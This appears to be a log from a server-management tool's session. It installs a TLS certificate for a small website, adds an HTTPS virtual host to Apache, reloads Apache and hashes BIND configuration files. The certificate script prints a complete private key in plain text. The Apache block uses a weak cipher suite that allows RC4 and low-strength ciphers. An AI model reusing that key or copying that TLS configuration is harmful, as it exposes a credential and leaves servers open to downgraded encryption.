MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-04 14:50:22: Establishing a connection
2025-09-04 14:50:23: 

PUT: /tmp/pkp733396

#!/bin/bash
temp_file=$(mktemp)
TARGET=8a5e228d3edd858af7f7a80f223fd335.crt

cat > $temp_file <<'endmsg'
8a:5e:22:8d:3e:dd:85:8a:f7:f7:a8:0f:22:3f:d3:35

-----BEGIN CERTIFICATE-----
MIIDUzCCAjugAwIBAgIUEHbl85iSlRqx/i6eT3+NuYjKK+QwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MDkwNDE0NTAyMloXDTI2MDkwNDE0NTAyMlow
FzEVMBMGA1UEAwwMYWxpdmUucGp5LnVzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAwLtar5ay++lKWn3C/FCoUHrJjeacNJJuCCcfWv0O4kuROazCrdXO
qpAWEyEtVKF58b4oXbgh4GrWawzDkcfBOGI84DVjnp55szkIlftjbWSth8BVIAYX
MvraLkRIo4zvhtUuTydiqBYHVkdxSyBHSkMGASlsDiaZoffQYLyEh/tgWtMDfGpB
C05iWnlvHmXe1C8lUTKhN7VUt/gH9QfUKf38adzNDy1v6ygod0FOfNTn3vpiPXDX
YlDzDjrv8YyHt3pILkcHPVcyVXOG64qpjHV1VjgfiKTVYveiaKratoznKv+b+7ly
Cwc24GRPEYaBD5Sg63VO0605GrT9RMciWwIDAQABo3MwcTAdBgNVHQ4EFgQUBIKB
S1R85rYXOoaUEQ1PAybvgWwwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziCV0sw
c/wwCwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwFwYDVR0RBBAwDoIMYWxpdmUucGp5
LnVzMA0GCSqGSIb3DQEBCwUAA4IBAQC+yMiqagwcYbGhfrEp0ZPNPSga8VgjMmNd
RSktCvEBmUI8i56hnKZLew9xQgoRn8UndUllQDQQnqejacsQkXVbuTtyoiI5AMz3
3plrAQ/7OPNGchNehJqDb+87ZOUxSeq/Yj5kXjAl4724plrOGjSHH1OzdqzdFMF4
WYDd0mkkyVNqyd8P6ztDnoHic6YsoNSXqjlmiVSLGF0W6mxLWV3nziQDftia+aWa
n/D1qTxtbaf7gM1ei02R8Nv0U5+BG/94tLWCAoRHZfWVuMToMP7V2/uE6zzExO/8
sfPtcIlZaYbmO9ZPxE3KnUS5Kav9Gdzfm4RS23rtJPLQUhQbh2JN
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDAu1qvlrL76Upa
fcL8UKhQesmN5pw0km4IJx9a/Q7iS5E5rMKt1c6qkBYTIS1UoXnxvihduCHgatZr
DMORx8E4YjzgNWOennmzOQiV+2NtZK2HwFUgBhcy+touREijjO+G1S5PJ2KoFgdW
R3FLIEdKQwYBKWwOJpmh99BgvISH+2Ba0wN8akELTmJaeW8eZd7ULyVRMqE3tVS3
+Af1B9Qp/fxp3M0PLW/rKCh3QU581Ofe+mI9cNdiUPMOOu/xjIe3ekguRwc9VzJV
c4briqmMdXVWOB+IpNVi96Joqtq2jOcq/5v7uXILBzbgZE8RhoEPlKDrdU7TrTka
tP1ExyJbAgMBAAECggEBALWNB10WQV4poV/izdVuiU7ei5S/InAna70EVXYZoXas
Jo5E3lJwcLCc8B5vB0uMnNmK/m1iMY88NOU8bdGacLoTWDMAN+pIcG3SkPLvjvaS
eyDAna9/7USZpwMkUaS28z94+5mWiUm7DohI3kEdk+oxfquDgIVH+TrovQMTMmkA
TcJMAeW/fRg44e2Hx5EC02XYynfrZw5+O46oeKzzy4z24jTVht6oH/idsYSY6aAx
7oQZ67mhI4YSzk4V75fjqWcQh0aYGRYvwdTica/m6cfvpAFQwGyyUjPGE6h+wETV
QOcGKiN6zvnB38DzWorU0+d/PV290l/AdLICkT7VPCECgYEA/ffJ/WSjpZzIUDpF
+bDST9TMJ9G4yZnyggU68oTDy+wNLn4sRsc0bMCSR/pgF9NNaT5AqGA9Y7ZdSU0C
OXIFZFIjVD9jFYmYzYvqRnDbYp/w+qW2u8YO4H71972ui+KGYi3w56Hs/uF7vL53
PD+nnGlMAF/jrEhBjyVVMn+y7MsCgYEAwkYiIbDH/im91wQmQDncTr2mydOQfN+L
QZyoMfVKr4b5xNpWI5ANOJcP1Rufw6wW8+9u6kVhaOKVfistrxBRsZOq4b2niAiG
WaeaIpV2QZ3eTWlGAUwzecgG9dVzaGtpv5GOgLEkWMUde3TAwD2TtZyOCC5WKnPB
d3t0ThVg/rECgYAPqdqxYCWfrz3DhPSP49H0zoEQ66Rj+rS0RDJQhtO0nghqF6oP
a3XWR0I+YjjO/19E4GwIdncS0UqLnM5IULn4aAB5z7cCuwvLkZePZKKDQK4SJ2pP
xnVgbzQoZXCAfCYhpAe5oYkGZ03EZFLiSmLCCNSBKWjXVVWFyJ2qkamtZQKBgQC4
Lu+rC0QAZiiSUl/FYlXI3Srki8yfZvxKfzBC9PASy5+/DtS9sJOoRCeBfkgQpfW4
3RZFyvNYEgFy9ZLBN3KMLZjDnh/X62UcWLbb9OGBwh8BOz5gepMO8SIQLYbVx4gh
U+lLfyYbdv3FjuIzH+4LL1rEzNFqPAZ+ta+FW+VycQKBgQDAxB62TovPg2ExWZ47
h5IY91bctujddmrfxfEf5o6WRAu7RSXfqogpuHSPTEgtxdfan0FO41Kq3hZ6KjdU
Y5v8f0pw1tp4fnySJMyg5C5fzFZpBH56pOaMBktgpbqxMq4V0mKt8/W46REJ1b9G
VxvQOTcNO2zELxDDT6B9kw6K1A==
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-04 14:50:24: 

chmod 755 /tmp/pkp733396; /tmp/pkp733396; rm /tmp/pkp733396

2025-09-04 14:50:24: 


dir=/etc/ssl/certs


2025-09-04 14:50:24: 

PUT: /tmp/pkp166395

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_alive_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-04 14:50:24: 

chmod 755 /tmp/pkp166395; /tmp/pkp166395; rm /tmp/pkp166395

2025-09-04 14:50:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_alive_us.conf 36

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-09-04 14:50:24: 

PUT: /tmp/pkp250324

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=/var/www/pjy_alive
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8a5e228d3edd858af7f7a80f223fd335.crt
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi


2025-09-04 14:50:25: 

chmod 755 /tmp/pkp250324; /tmp/pkp250324; rm /tmp/pkp250324

2025-09-04 14:50:25: 


link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf
file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1


2025-09-04 14:50:25: 

PUT: /tmp/pkp324783

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-04 14:50:25: 

chmod 755 /tmp/pkp324783; /tmp/pkp324783; rm /tmp/pkp324783

2025-09-04 14:50:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-04 14:50:26: Establishing a connection
2025-09-04 14:50:26: 

PUT: /tmp/pkp511625

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-04 14:50:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp511625; rm /tmp/pkp511625'

2025-09-04 14:50:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
